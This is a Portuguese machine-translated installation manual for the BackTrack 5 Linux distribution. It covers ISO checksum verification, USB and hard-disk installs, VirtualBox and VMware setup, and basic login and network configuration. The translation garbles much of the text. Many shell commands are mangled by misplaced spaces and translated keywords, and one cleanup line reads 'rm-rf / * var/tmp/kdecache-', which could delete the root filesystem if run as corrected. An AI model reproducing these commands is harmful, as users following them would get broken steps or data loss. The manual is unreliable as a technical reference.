Monster´s 2012 Manual Completo BackTrack5
Versão: 15/05/2012 Traduzido utilizando http://translate.google.com.br Texto extraido de http://www.backtrack-linux.org/wiki/index.php/Downloading 1
Manual Completo BackTrack 5 1. Introdução a. Baixando o BackTrack b. Instalando o BackTrack i. Instala USB 1. Unetbootin USB Installer 2. Persistent Install USB ii. Instala HardDrive 1. Dual Boot no Windows 7 2. Instala BackTrack no disco rigido iii. Virtualização 1. Instalando o BackTrack no VirtualBox 2. Instalando o VirtualBox dentro do BackTrack 3. Instalando VMWare Player no BackTrack 4. Instalando o VMWare Tools c. Uso Basico 2. Kernel a. Preparando os cabeçalhos do Kernel b. Habilitar Kernel PAE c. Habilitar B43 Drivers 3. Personalização a. Instalando Java b. Configurando FluxBox c. Instalando Flash Player d. Instalando OpenCL 4. Coleta de Informações a. Autoscan b. Unicornscan 5. Identificação de Vulnerabilidade a. OpenVas 6. Exploração a. Metasploit Framework MySQL 7. Análise de Rede de Rádio a. Cozinhar Drivers Wireless b. com RFID Mifare Classic 8. Escalonamento de privilégios a. CUDA no BackTrack 5 b. JTR Cluster c. Pyrit Cluster 9. Telefonia a. VOIP pentesting com BackTrack
10.
11. 12.
b. DECT Sniffing Dedected Forensics a. Bota Forensics b. Instalando o AASI c. Instalando GPGDir Bugs conhecidos inversas FAQ
Introdução Baixando BackTrack Com o lançamento do Backtrack 5, agora suportam 32 bits, 64 bits e ARM. Backtrack vem com dois gerenciadores deou janelas principais: Gnomeou e KDE. Você pode 5escolher a página de download uma imagem VMWare uma imagem ISO inicializável (recomendado se você executar Backtrack partir de um LiveCD ou uma instalação de HDD / USB). Por favor use nossos servidores oficiais para download BackTrack. Estes podem ser encontrados na página de transferência . Não use um gerenciador de downloads com nossos links como seu download irá provavelmente ser corrompidos.
Verificando o download em Linux Depois de ter baixado BackTrack5 R2, você deve verificar a validade do arquivo baixado usando md5sum. Isso permitirá que você elimine o problema mais comum encontrado pelos usuários inversas - mal baixado (corrupto) arquivos ISO. Para verificar a soma MD5 de sua ISO baixado, use o comando md5sum: root @ bt: ~ # md5sum BT5R2-KDE-32.iso 38ff62f14cecce5c842df60cbadbdb22 BT5R2-KDE-32.iso root @ bt: ~ #
BackTrack 5 md5sums R2 ISO são resumidas aqui para sua conveniência.
BT5r2-KDE-64 KDE md5sum 64bit: 6d5996df868dfe9c31aad234187ad7d0 BT5r2-KDE-32 KDE 32bit md5sum: adb7eece8964aab083294f06aa44b625
BT5r2-GNOME-64 md5sum GNOME
64bit: 4864e7cacdc35a886ef8264eb346f414 BT5r2-GNOME GNOME-32 32bit md5sum: 4ad5f359bad43bb934d59fcf6632ae1b BT5R2-GNOME-VM-32 GNOME 32bit md5sum: 9a8ec2fb4bbf4a5e626cfeb8970609fd BT5R2-GNOME-VM-64 md5sum GNOME 64bit: dad2f4bf1045c56c0104218fa5d68aff
Verificando o download no Windows 1. Para verificar o md5sum do seu BackTrack ISO no Windows, você pode utilizar a ferramenta "HashCalc" de SlavaSoft HashCalc - Hash, CRC e HMAC Calculadora 2. Uma vez baixado HashCalc, aberta, desmarque todas as caixas, exceto md5 e formato de dados de alteração para "arquivo". 3. Na caixa de dados do lado direito existe um botão com 3 pontos, clique nele e navegue até onde você baixou o seu. Iso ou. Bz2 e selecioná-lo, clique em Abrir e, em seguida "calcular". Depois de alguns segundos (ou mais, dependendo da sua velocidade de computador), haverá uma seqüência de 32 bits ao lado do md5 palavra, este é o md5 do seu arquivo.
Compare seu md5 para o hash md5 na página de download. Se eles são iguais, então o seu iso ou bz2 é bom, se não o arquivo está corrompido e você precisa baixá-lo novamente.
Verificando o download em OSX Abra o console e use o comando md5 para calcular o seu BackTrack ISO md5: revolução: ~ mutS $ md5 BT5R2-GNOME-32.iso MD5 (BT5R1-GNOME-32.iso) = 49f3dda1e617cb6f4045735766839690 revolução: do ~ mutS $
Notas importantes Os problemas mais comuns encontrados com BackTrack pelos recém-chegados são os seguintes: 1. Descasamentos ISO md5sum, que resultam em questões aleatórias no BackTrack. 2. Baixa qualidade da mídia (no caso de DVDs), ou gravar o arquivo ISO em velocidades que são demasiado elevados. 3. Queima BackTrack em um DVD como um arquivo em vez de uma imagem de disco. Por favor, certifique-se de verificar tudo o que foi mencionado anterior antes de iniciar uma discussão sobre o Fórum.
Qual será a próxima? O BackTrack 5 imagem ISO é inicializável, o que significa que você terá que quer queimar a ISO em um DVD ou transferi-lo para um stick USB.Depois de ter feito isso, então você vai ser capaz de inicializar o computador no ambiente ao vivo BackTrack. A partir deste ambiente ao vivo você pode continuar a usar o BackTrack ou instalá-lo em seu disco rígido usando um dos guias de instalação listados na página de instalação .
Instalando o BackTrack UNetbootin USB Installer Fer ra m en ta s e Pr ep ar ação
Thumbdrive USB (USB mínima capacidade Drive 4 GB) Backtrack 5 arquivo ISO, md5sum verificada. UNetbootin - Uma ferramenta para transferir uma imagem iso em um drive USB
UNetbootin permite criar discos de boot Live USB para Ubuntu, Fedora e outras distribuições Linux sem queimar um CD. Ele roda em Windows e Linux. Você pode deixar UNetbootin baixar uma das muitas distribuições suportadas out-of-the-box para você, ou fornecer seu próprio Linux. Iso se você já tiver baixado um ou a sua distribuição preferida não está na lista. Este método de obter uma instalação ao vivo para uma unidade USB é o mais simples Unetbootin disponível usando. Note que irá formatar o drive USB e apagar seu conteúdo.
Nota: agora você pode salvar as alterações feitas no sistema entre as reinicializações (persistência).
Baixe a última BackTrack iso de nossa página de download do BackTrack. Download UNetbootin , versão mais recente (Linux, Windows, OSX) Conecte seu drive USB Formatar o disco USB para FAT32 Iniciar Unetbootin e selecione a opção "DiskImage", escolha um BackTrack 5 arquivo ISO. Selecione a quantidade de espaço a ser usado para persistência na MB Selecione seu drive USB e clique em "OK" para criar um inicializável BackTrack drive USB. Uma vez iniciada, lembre-se que o nome de usuário ea senha padrão são raiz / toor .
USB Persistente Fer ra m en ta s e Pr ep ar ação
USB Thumbdrive (mínimo 8GB) Backtrack 5 arquivo ISO, md5sum verificados ou DVD inicializável BT5 VMware para iniciar o iso, se você optar por executar todos os passos a partir de uma VM como eu fiz
Não faz diferença qual você escolher, basta estar ciente de que as designações de unidade pode ser diferente para você do que eles eram para mim. Isto pode não ser a melhor maneira de fazer isso, mas funciona. Estou certo de que há uma maneira mais elegante de fazer isso que eu possa rever mais tarde, se surgir a necessidade eo tempo permite. Particionamento
Mostrar as unidades disponíveis com o comando abaixo e determinar qual a unidade que deseja instalar. dmesg | egrep hd \ |. sd.
A unidade de destino precisa ser dividido da seguinte forma:
A primeira partição deve ser uma partição primária de não mais de 2,5 GB e definidas com o tipo vfat (eu fiz esta partição maior do que o necessário, de modo que abrange todos do iso e versões futuras). Faça a partição ativa para evitar problemas de inicialização. A segunda partição que armazena as alterações devem ocupar o resto do espaço no pendrive, ou tanto quanto você deseja alocar para salvar as alterações (5GB em um mínimo absoluto).
Execute os seguintes comandos para executar o particionamento. fdisk / dev / sdb
# Use a letra de unidade apropriada para o seu sistema Apagar todas as partições existentes
Command (m for help): d Número da partição (1-4): 1
Criar a primeira partição
Command (m for help): n Comando de ação e prorrogado p partição primária (1-4) p Número da partição (1-4): 1 First cylinder (1-522, default 1): Usando valor padrão 1 Último cilindro, cilindros de + ou + tamanho {K, M, G} (1-522, default 522): 2.500 M
Criar a segunda partição
Command (m for help): n Comando de ação e prorrogado p partição primária (1-4) p Número da partição (1-4): 2 Primeiro cilindro (193-522, default 193): Usando valor padrão 193 Último cilindro, cilindros ou + de + {tamanho K, M, G} (193-522, default 522): Usando valor padrão 522
Defina a primeira partição para vfat/fat32
Command (m for help): t Número da partição (1-4): 1 código hexadecimal (digite L para listar os códigos): b tipo de sistema Mudou de partição 1 para b (W95 FAT32)
Defina a segunda partição para Linux
Command (m for help): t Número da partição (1-4): 2 código Hex (tipo L para listar os códigos): 83
Faça a primeira partição ativa
Command (m for help): um número de partição (1-4): 1 Command (m for help): w
Neste ponto, você pode precisar ejetar e reinserir a unidade para que as alterações da tabela de partição para ser reconhecido e para que você seja capaz de realizar o restante das etapas. Formatar as partições mkfs.vfat-F 32-n BT5 / dev/sdb1 mkfs.ext3-b 4096-L casper-rw / dev/sdb2
Por favor, note que a segunda partição deve ser rotulado como casperrw exatamente como está escrito aqui, não há outro rótulo irá funcionar, mesmo se você não usar bonés vez. Instale BackTra
ck ao Thum bdrive
Monta a primeira partição que é sdb1 neste exemplo. mkdir / mnt/sdb1 mount / dev/sdb1 / mnt/sdb1
Copie os arquivos da ISO para o drive USB cd / mnt/sdb1
rsync-r / cdrom / *.
Esta última etapa vai levar um par de minutos para terminar, talvez mais, dependendo da velocidade de seus discos e método que você está usando.
Faça a unidade inicializável Neste próximos passos, nós fazemos os arquivos Thumbdrive de arranque e cópia em seu local apropriado com seus nomes corretos. syslinux / dev/sdb1
Isso fez com que o disco de boot, mas como estamos usando arquivos de isolinux com syslinux que será nomeado incorretamente e estar nos locais errados. Nós podemos facilmente corrigir isso com os seguintes comandos. cp-r isolinux syslinux cp syslinux / isolinux.cfg syslinux / syslinux.cfg cp syslinux / isolinux.bin syslinux / syslinux.bin
Configurar Persistência Para configurar os modos persistentes nas entradas que queremos, precisamos fazer o seguinte: nano syslinux / syslinux.cfg
Nossos syslinux.cfg srcinais será parecido com este: padrão vesamenu.c32 0 aviso tempo limite 300 menu de títulos BackTrack Live CD splash.png fundo do menu a cor do menu título 1, 37, 44 # # 00000000 c0ffffff std PADRÃO rótulo menu de etiqueta Texto BackTrack - Padrão Modo Texto de inicialização kernel / casper / vmlinuz append file = / cdrom / preseed / custom.seed boot = casper initrd = / casper / initrd.gz respingo texto vga = 791 -
STEALTH rótulo menu de etiqueta BackTrack Stealth - sem rede ativada kernel / casper / vmlinuz append file = / cdrom / preseed / custom.seed boot = casper initrd = / casper / initrds.gz texto inicial StaticIP vga = 791 FORENSICS rótulo de menu Forensics rótulo de retorno - Não Mount Drive ou Trocando kernel / casper / vmlinuz append file = / cdrom / preseed / custom.seed boot = casper initrd = / casper / initrdf.gz respingo texto vga = 791 NODRM rótulo menu de etiqueta BackTrack noDRM - Sem Drivers DRM kernel / casper / vmlinuz append file = / cdrom / preseed / custom.seed boot = casper initrd = / casper / initrd.gz texto inicial nomodeset vga = 791 debug rótulo menu de etiqueta BackTrack Debug - Modo de Segurança kernel / casper / vmlinuz append file = / cdrom / preseed / custom.seed boot = casper initrd = text / casper / initrd.gz rótulo memtest menu de etiqueta BackTrack Memtest - Run memtest kernel / isolinux / memtest acrescentar rótulo hd menu de etiqueta de inicialização do disco rígido - iniciar o primeiro disco rígido LOCALBOOT 0x80 acrescentar -
No meu caso eu só queria acrescentar uma bota padrão novo que é exatamente o mesmo que a entrada padrão srcinal, com a exceção de ser o meu novo modo persistente. Para fazer o mesmo você deve fazer seu olhar syslinux.cfg como o seguinte: padrão vesamenu.c32 0 aviso tempo limite 300 menu de títulos BackTrack Live CD splash.png fundo do menu a cor do menu título 1, 37, 44 # # 00000000 c0ffffff std
PADRÃO rótulo menu de etiqueta Texto BackTrack persistente - Boot modo persistente Texto kernel / casper / vmlinuz append file = / cdrom / preseed / custom.seed boot = casper initrd persistente = / casper / initrd.gz respingo texto vga = 791 texto do rótulo menu de etiqueta Texto BackTrack - Modo Texto de inicialização kernel / casper / vmlinuz append file = / cdrom / preseed / custom.seed boot = casper initrd = / casper / initrd.gz respingo texto vga = 791 STEALTH rótulo menu de etiqueta BackTrack Stealth - sem rede ativada kernel / casper / vmlinuz append file = / cdrom / preseed / custom.seed boot = casper initrd = / casper / initrds.gz texto inicial StaticIP vga = 791 FORENSICS rótulo de menu Forensics rótulo de retorno - Não Mount Drive ou Trocando kernel / casper / vmlinuz append file = / cdrom / preseed / custom.seed boot = casper initrd = / casper / initrdf.gz respingo texto vga = 791 NODRM rótulo menu de etiqueta BackTrack noDRM - Sem Drivers DRM kernel / casper / vmlinuz append file = / cdrom / preseed / custom.seed boot = casper initrd = / casper / initrd.gz texto inicial nomodeset vga = 791 debug rótulo menu de etiqueta BackTrack Debug - Modo de Segurança kernel / casper / vmlinuz append file = / cdrom / preseed / custom.seed boot = casper initrd = text / casper / initrd.gz rótulo memtest menu de etiqueta BackTrack Memtest - Run memtest kernel / isolinux / memtest acrescentar rótulo hd menu de etiqueta de inicialização do disco rígido - iniciar o primeiro disco rígido LOCALBOOT 0x80 acrescentar -
Agora precisamos testar nosso novo modo persistente.
Reinicie o seu sistema a partir de USB e selecione "Texto BackTrack persistente Boot modo persistente Texto" ou aguarde o tempo limite para carregá-lo como padrão. Para testar a persistência, crie um arquivo em qualquer lugar no sistema, mas uma nova pasta ou arquivo de texto na área de trabalho é uma diferença muito fácil e visual para verificar. Reinicie. Se o seu arquivo está lá depois de um reboot, você foi bem sucedido.
Instalar no HardDrive Dual Boot BackTrack e Windows7 NOTA : O seguinte método de instalação é o mais simples disponível. Fizemos isso no pressuposto de que você tem uma instalação do Windows que está a ocupar todo o espaço no seu disco e você gostaria de redimensionar e reparticionar o disco, a fim de permitir uma instalação BackTrack ao lado de seu Windows. AVISO : BACK-UP a instalação do Windows PRIMEIRO!
Vamos percorrer o instalador passo a passo: Nós selecionamos a nossa língua, neste caso Inglês e, em seguida, clique no Encaminhar botão.
Aqui nós selecionamos a localização geográfica (The Zone Região e Time) e clique em Avançar .
Escolha o seu layout de teclado. Vamos deixá-lo o padrão que é EUA e clique em Avançar .
Agora é hora de particionar o disco, para uma rápida e bem sucedida de instalação dual-boot, vamos escolher o Instale-os lado a lado, escolhendo entre eles cada inicialização opção e bateu frente ..
Depois disso, deve confirmar as alterações que serão feitas para o disco.
Nesta tela, somos capazes de verificar as nossas opções de instalação, verificá-los para se certificar que tudo está certo do que clique em "Avançar".
AVISO : Quando o instalador chega a 99% o processo pode levar algum tempo para não se apavore, espere cerca de 10-15 minutos.
Bata o Restart Now botão e desfrutar Backtrack!
Quando o computador irá inicializar, você será dado uma escolha para inicializar Backtrack ou Windows.
Após a reinicialização, você pode fazer login com o nome de usuário padrão raiz e senha toor . Não se esqueça de alterar esta senha de root padrão, emitindo o passwd comando. Como você pode ver a tela inicial desapareceu após a reinicialização. Para corrigi-lo basta executar correção respingos , ea tela de abertura aparecerá na próxima inicialização.
Instale BackTrack em disco NOTA: É recomendável que você tenha um mínimo de 10 GB de espaço em disco livre para instalar o Backtrack!
Inicie o Backtrack Ambiente Live. No prompt do bash, tipo startx para entrar no GUI. Clique duas vezes no Backtrack.sh Install na área de trabalho Vamos percorrer o instalador passo a passo:
Nós selecionamos a nossa língua, neste caso Inglês e, em seguida, clique no Encaminhar botão.
Aqui nós selecionamos a localização geográfica (The Zone Região e Time) e clique em Avançar .
Escolha o seu layout de teclado. Vamos deixá-lo o padrão que é EUA e clique em Avançar .
Agora é hora de particionar o disco, para uma instalação completa do disco, escolhemos a opção "Apagar e usar o disco inteiro" opção e clique em Avançar .
Nesta tela, somos capazes de verificar as nossas opções de instalação, verificá-los para se certificar que tudo está certo do que clique em "Avançar".
AVISO : Quando o instalador chega a 99% o processo pode levar algum tempo para não se apavore, espere cerca de 10-15 minutos.
Bata o Restart Now botão e desfrutar Backtrack!
Após a reinicialização, você pode fazer login com o nome de usuário padrão raiz e senha toor . Não se esqueça de alterar esta senha de root padrão, emitindo o passwd comando. Como você pode ver a tela inicial desapareceu após a reinicialização. Para corrigi-lo basta executar correção respingos , ea tela de abertura aparecerá na próxima inicialização.
Virtualização VirtualBox Instalar BT Este artigo foi contribuído por Boris Sverdlik.
URL: http://www.jadedsecurity.com Twitter: ! https://twitter.com/ # jadedsecurity /
Neste tutorial, vamos dar uma olhada em como instalar o BackTrack 5 no VirtualBox.
Baixe a última versão do VirtualBox a partir da página oficial . Faça o download do BackTrack 5 ISO da página oficial Depois de instalar o VirtualBox, vamos lançá-lo e tentar criar uma nova máquina virtual:
Clique em Novo -> Continuar -> Avançar Nome (Select 64Bits Ubuntu) -> Avançar Select Ram (Atribuir pelo menos 30%) -> Avançar
Marque a opção "Boot Disk" à Criar novo disco rígido Continuar -> "Armazenamento dinamicamente expansível" -> Escolha Localização - Tamanho> (mínimo de Continuar -> Feito
A configuração do disco deve ser semelhante a este:
Clique em Configurações (Vamos deixar defaults mosts no para tudo, para este How-To) Clique em um armazenamento com "Armazenamento IDE" Selecionado no ícone da unidade com o sinal de mais que à Escolha Adicionar CD / DVD à Escolha o Disco Navegue até a ISO BT5 você tinha baixado Clique em Exibir e escolher pelo menos 64MB Clique em Ok Abra o Terminal e digite o seguinte VBoxManage setextradata "Backtrack" "CustomVideoMode1" "1100x740x16"
Clique em Iniciar Clique dentro da janela - Tab> -> Escolha "Texto Backtrack"
Uma vez que a seqüência de inicialização terminar você já vai estar em um shell de root.
" NOTA : Se v oc êesco lh eu o amb iente KDE não se es qu eça d e emi tir o seguin te com ando antes startx : root @ bt: ~ # rm / root/.kde/cache- *
Uma vez Backtrack Lança Duplo Clique no botão "Install Backtrack Icon" e siga
os passos a partir de aqui . Após as configurações de terminar, desligue o Backtrack.
Clique em Configurações na Virtual Gestor à uma caixa de armazenamento clique em "Armazenamento IDE" selecionado remover a distribuição LiveISO Clique em Iniciar para iniciar o Backtrack
Agora vamos baixar o Addon Guest Vbox usando wget.
root @ bt: ~ # wget http://download.virtualbox.org/virtualbox/4.0.8/VBoxGuestAdditions_4.0 .8.iso
Agora execute os seguintes comandos:
root root root root
@ @ @ @
bt: bt: bt: bt:
~ ~ ~ ~
# # # #
mount-o loop VBoxGuestAdditions_4.0.8.iso / a cd / a chmod a + x VBoxLinuxAdditions.run / VBoxLinuxAdditions.run.
Reinicie o computador e divirta-se!
Instalando o VirtualBox em BackTrack5
Baixe a versão para o Ubuntu 10.04 a partir do site oficial
root @ bt: ~ #
Tente instalar o. Pacote deb
root @ bt: ~ # dpkg-i virtualbox-4.0_4.0.10-72479 ~ ~ Ubuntu lucid_i386.deb
Você deverá receber um erro semelhante a este:
root @ bt: ~ # dpkg-i virtualbox-4.0_4.0.10-72479 ~ ~ Ubuntu lucid_i386.deb Selecionando pacote previamente não selecionado virtualbox-4.0. (Lendo banco de dados ... 219334 arquivos e diretórios atualmente instalados.) Desempacotando virtualbox-4.0 (de virtualbox-4.0_4.0.10-72479 ~ ~ lucid_i386.deb Ubuntu) ... dpkg: problemas de dependência impedem configuração de virtualbox-4.0: virtualbox-4.0 depende de libqt4-opengl (> = 4:4.5.3), no entanto: Pacote libqt4-opengl não está instalado. dpkg: erro processando virtualbox-4.0 (- install): problemas de dependência - deixando desconfigurado Processando gatilhos para ureadahead ... Processando gatilhos para shared-mime-info ... Processando gatilhos para desktop-file-utils ... Processando gatilhos para python-gmenu ... Reconstrução / usr/share/applications/desktop.en_US.utf8.cache ... Processando gatilhos para hicolor-icon-theme ... Processando gatilhos para python-support ... Erros foram encontrados durante processamento de: virtualbox-4.0 root @ bt: ~ #
Como podemos ver que estão faltando algumas dependências, vamos resolvêlos rapidamente:
root @ bt: ~ # apt-get-f-y autoremove root @ bt: ~ # apt-get install libqt4-opengl libqt4-opengl-dev root @ bt: ~ # dpkg-i virtualbox-4.0_4.0.10-72479 ~ Ubuntu ~ lucid_i386.deb
Após a instalação estiver concluída, você deve ser capaz de iniciar o VirtualBox do menu Aplicações -> Ferramentas do Sistema -> Oracle VM VirtualBox
Divirta-se!
Instalando o VMware no BackTrack5 R2 NOTA: Os mesmos passos cobrir a instalação do VMware Workstation e VMware Player também!
Primeiro, precisamos ir para o site oficial e baixar o VMware Workstation / Player. Nós CHMOD do arquivo, a fim de torná-lo executável de iniciar o instalador:
root @ bt: ~ / Desktop # chmod + x
Agora nós deve ser apresentado com a tela de instalação, se você encontrar quaisquer problemas no lançamento do instalador verificar que você tenha baixado o pacote correto sobre arquitetura e MD5sum.
A partir daqui, podemos ir com as opções padrão selecionadas pelo instalador. Não mude nada a não ser que você saiba o que está fazendo!
Quando a instalação estiver concluída, quando tentamos executar VMware devemos receber um erro.
Dando uma olhada no arquivo de log que devemos ver na última linha que o módulo vmnet não pode ser carregado.
root @ bt: ~ / Desktop # tail / tmp/vmware-root/modconfig-12072.log 2012-02-28T23: 52:42.262 +02:00 | vthread-3 | I120: Falha ao compilar vmnet módulo!
Cancelar o lançador VMware.
Agora precisamos baixar o patch de vmnet extrair e executá-lo.
xvfz vmware802fixlinux320.tar.gz root @ bt: ~ # chmod + x-patch modules_3.2.0.sh root @ bt: ~ # ./patch-modules_3.2.0.sh
Se o patch foi aplicado com sucesso, você deve ver algo semelhante ao seguinte.
Após a correção está finalizada, podemos executar o nosso produto VMware.
Agora você pode se divertir usando o produto VMware!
Instalando o VMware Tools no BackTrack NOTA : Nossa GNOME imagem VMware do BackTrack tem o VMware Tools instalado por padrão.
Backtrack 5 R2 NOTA : Os usuários do KDE, por favor, execute o seguinte comando antes de instalar ferramentas VMWare no BackTrack R2 5: root @ bt: ~ # mkdir / etc / cups / ppd
Pelo amor de google, aqui é o erro que você recebe se você não criar esse diretório, em um KDE BT5R2 instalar: Não foi possível criar link simbólico "/ etc / cups / ppd / VMware_Virtual_Printer.ppd", apontando para o arquivo "/ usr / lib / vmware-tools / configurador / thinprint.ppd".
Em um recém-instalado ou atualizado BackTrack 5 R2:
root @ bt: ~ # preparar-kernel-sources
Avançar no VMware Player, clicamos Virtual Machine -> Ferramentas instalar o VMware . Agora vamos configurar rapidamente as VMware Tools, emitindo os seguintes comandos:
root root root root root root
@ @ @ @ @ @
bt: bt: bt: bt: bt: bt:
~ ~ ~ ~ ~ ~
# # # # # #
mkdir / mnt / cdrom; mount / dev / cdrom / mnt / cdrom . cp / mnt/cdrom/VMwareTools-
tar.gz / tmp / cd / tmp / . tar zxpf VMwareTools tar.gz cd vmware-tools-distrib / / vmware-install.pl.
NOTA : Após esta série de perguntas virão, se não tiver certeza sobre eles apenas deixá-los padrão. No momento desta postagem, as ferramentas VMWare não compilam de forma limpa com o kernel 3.2.6. Em particular, o condutor vmxnet falhar para compilar. No entanto, o BackTrack 3.2.6 kernel já tem um driver vmxnet nativo, então não deve haver perda global de desempenho.
Backtrack 5 R1
Em caso de necessidade de instalar manualmente as VMware Tools você primeiro tem que preparar a sua fonte do kernel, emitindo os seguintes comandos:
root @ bt: ~ # ln-s / usr / src / linux / lib/modules/2.6.39.4/build
Avançar no VMware Player, clicamos Virtual Machine -> Ferramentas
instalar o VMware . Agora vamos configurar rapidamente as VMware Tools, emitindo os seguintes comandos:
root root root root root root
@ @ @ @ @ @
bt: bt: bt: bt: bt: bt:
~ ~ ~ ~ ~ ~
# # # # # #
mkdir / mnt / cdrom; mount / dev / cdrom / mnt / cdrom . cp / mnt/cdrom/VMwareTools- tar.gz / tmp / cd / tmp / . tar zxpf VMwareTools tar.gz cd vmware-tools-distrib / / vmware-install.pl.
NOTA : após esta série de perguntas virão, se não tiver certeza sobre eles apenas deixá-los padrão Quando perguntado se você quiser que o script RUN VMWAREconfig-TOOLS.PL PARA VOCÊ, DIGA NÃO!
Precisamos agora aplicar alguns patches para as fontes do módulo do kernel VMWare antes de serem construídos. Assim:
Antes de executar o VMware Tools pela primeira vez, você precisará configurá-lo por invocando o seguinte comando: "/ usr / bin / vmware-config-tools.pl". Você quer este programa para invocar o comando para você agora? [Sim]não
Agora vamos aplicar o vmware-tools 2.6.39 patch:
root @ bt: ~ # cd / usr / lib / vmware-tools / modules / source / root @ bt: ~ # . para arquivo no * tar; fazer tar xpf $ arquivo; feito root @ bt: ~ # tar rm *. root @ bt: ~ # wget www.backtrack-linux.org/vmtools2639.patch root @ bt: ~ # patch-p1
Se estiver executando no Mac Fusion, o patch não será aplicado de forma limpa. Aceite os padrões e continuar. Continue com a instalação até o fim, e esperamos que todos os módulos do VMWare deverá compilar! trazer de volta seu console bonito e iniciar o sistema:
root @ bt: ~ # correção splashroot @ bt: ~ # shutdown-r 0
Backtrack 5
Em caso de necessidade de instalar manualmente as VMware Tools você primeiro tem que preparar a sua fonte do kernel, emitindo os seguintes comandos:
root @ bt: ~ # preparar-kernel-fontes root @ bt: ~ # cd / usr / src / linux root @ bt: ~ # cp-rf include / gerado / * include / linux /
Avançar no VMware Player, clicamos Virtual Machine -> Ferramentas instalar o VMware , irá montar um CD contendo um arquivo. Agora vamos configurar rapidamente as VMware Tools, emitindo os seguintes comandos:
root @ bt: ~ # cp-f / media / VMware Tools/VMwareTools-8.4.6385536.tar.gz \ root / / root @ bt: ~ # tar xvfz VMwareTools-8.4.6 385536.tar.gzraiz @ bt: ~ # cd vmware-tools-distrib / root @ bt: ~ / vmware-tools-distrib # . / vmware-install.pl
NOTA : Após esta série de perguntas virão, se não tiver certeza sobre eles apenas deixá-los padrão. Em qual diretório você deseja instalar os arquivos binários? [/ Usr / bin] [RETORNO] ............ ............
A configuração do VMware Tools 8.4.6 build-385536 para Linux para essa execução do kernel concluída com êxito. Você deve reiniciar a sessão X antes de qualquer mouse ou alterações gráficas tomar efeito. Agora você pode executar o VMware Tools, invocando "/ usr / bin / vmware-toolbox-cmd" do de linha de comando ou invocando "/ usr / bin / vmware-toolbox" na linha de comando durante uma sessão de servidor X. Para ativar recursos avançados X (por exemplo, convidado resolução ajuste, arrastar e soltar, e arquivo de texto e copiar / colar), você vai precisar fazer um (ou mais) dos seguintes: 1. Iniciar manualmente / usr / bin / vmware-user 2. Sair e voltar a entrar na sua sessão de desktop, e, 3. Reinicie sua sessão X. Para usar o driver vmxnet, reinicie rede usando os seguintes comandos: / Etc / init.d / networking parada rmmod pcnet32 rmmod vmxnet
modprobe vmxnet / etc / init.d / networking start Aproveite, - A equipe do VMware Encontrado VMware Tools CDROM montado em / media / VMware Tools. Dispositivo de ejecção / Dev/sr0 ...
Se você ver a mensagem acima no terminal que significa que a instalação foi bem sucedida, agora, depois de uma reinicialização rápida as VMware Tools deveria estar trabalhando, também não vamos esquecer de corrigir a tela Splash.
root @ bt: ~ # correção splashroot @ bt: ~ # shutdown-r 0
Uso Básico Iniciar sessão no BackTrack Uma vez que a instalação do BackTrack é feito, o nome de usuário padrão ea senha necessários para efetuar login são raiz / toor .
NOTA : Você não será capaz de ver a senha enquanto você digita.
Iniciando um ambiente GUI Depois que você está logado, você pode iniciar o ambiente gráfico, emitindo o startx comando.
X vai começar! Em raras ocasiões (como após um VMware ferramentas de instalação, ou quando se utilizam placas de vídeo não suportado), X se recusa a iniciar.Se isso acontecer você tem várias opções que você pode tentar a fim de corrigir o problema:
Reconfigurar o pacote do servidor X, você pode redefinir (e muitas vezes corrigir) as configurações do Xorg com o seguinte comando: root @ bt: ~ # dpkg-reconfigure xserver-xorg
Se você estiver usando Backtrack 5 em x64 com o KDE, você deve tentar o seguinte: root @ bt: ~ # rm / root/.kde/cache- *
NOTA : Às vezes você pode precisar também de remover as pastas de cache em / var / tmp, emitindo o seguinte comando: root @ bt: ~ # rm-rf / * var/tmp/kdecache-
Começar a trabalhar em rede
Se você não tenha notado ainda BackTrack não arrancar com a rede por padrão, a fim de aumentar a sua invisibilidade.
Configurar o IP manualmente Vamos primeiro configurar a rede manualmente. No exemplo a seguir vamos assumir os seguintes endereços e sua finalidade:
Endereço IP Gateway Padrão servidor DNS
192.168.1.112/24 192.168.1.1 192.168.1.1 -
Para configurá-los, vamos executar os seguintes comandos: root @ bt: ~ # ifconfig eth0 192.168.1.112/24 root @ bt: ~ # route add default gw 192.168.1.1 root @ bt: ~ # echo nameserver 192.168.1.1> / etc / resolv.conf
Obtendo um endereço IP estático para ficar e ntre reinicializações Essas configurações no entanto só vai durar até que você reiniciar, por isso, se queremos salvar-los entre reboots, precisamos editar o / etc / network / interfaces arquivo como este: # Este arquivo descreve as interfaces de rede disponíveis em seu sistema # E como ativá-los. Para mais informações, consulte Interfaces (5). # A interface de rede loopback auto lo iface lo inet loopback # A interface de rede primária auto eth0 iface eth0 inet static endereço 192.168.1.112 netmask 255.255.255.0 rede 192.168.1.0 transmitir 192.168.1.255 gateway de 192.168.1.1
Edite o arquivo conforme o caso, então, a rede de aparecer automaticamente no momento da inicialização: root @ bt: ~ # update-rc.d networking defaults root @ bt: ~ # / etc / init.d / networking restart
Obtendo um IP do DHCP A fim de obter um endereço IP de um servidor DHCP que pode emitir o dhclient comando da seguinte forma:
root @ bt: ~ # dhclient eth0 Internet Systems Consortium DHCP Client V3.1.1 Copyright 2004-2008 Internet Systems Consortium. Todos os direitos reservados. Para informações, visite http://www.isc.org/sw/dhcp/ Ouvir em LPF/eth0/00: 0c: 29:81:74:21 Envio em LPF/eth0/00: 0c: 29:81:74:21 Envio de Soquete / fallback DHCPREQUEST de 192.168.1.112 na eth0 para 255.255.255.255 porta 67 DHCPACK de 192.168.1.112 de 192.168.1.1 obrigado a 192.168.1.112 - renovação de 37595 segundos. root @ bt: ~ #
Usando o script para iniciar a rede Há um script para iniciar a rede no / etc / init.d diretório que tenta iniciar cada interface ouvir em / etc / network / interfaces (você pode remover os que não precisam). Para iniciá-lo execute o seguinte comando: root @ bt: ~ # start / etc / init.d / networking
Wicd Network Manager Outra forma de configurar sua rede está usando o Network Manager Wicd, você pode encontrá-lo no menu:
Menu> Internet> Wicd Network Manager NOTA : Observe que quando se inicia W icd você receberá um erro:
A fim de se livrar deste erro você tem que reiniciar Backtrack, que ANTES iniciando Wicd abra um terminal e digite o seguinte: root @ bt: ~ # dpkg-reconfigure wicd root @ bt: ~ # update-rc.d defaults wicd
Agora, após um reboot o erro não deve ocorrer mais.
Alterando a senha de root Como você sabe Backtrack vem com um nome de usuário e senha padrão ( root / toor ) é IMPORTANTE que mudar essa senha de root especialmente quando executando serviços como SSH. Nós podemos mudar a senha, emitindo o passwd comando: root @ bt: ~ # passwd Digite a nova senha UNIX: {digite a nova senha aqui} Redigite a nova senha UNIX: {digite a nova senha novamente} passwd: senha atualizada com sucesso root @ bt: ~ #
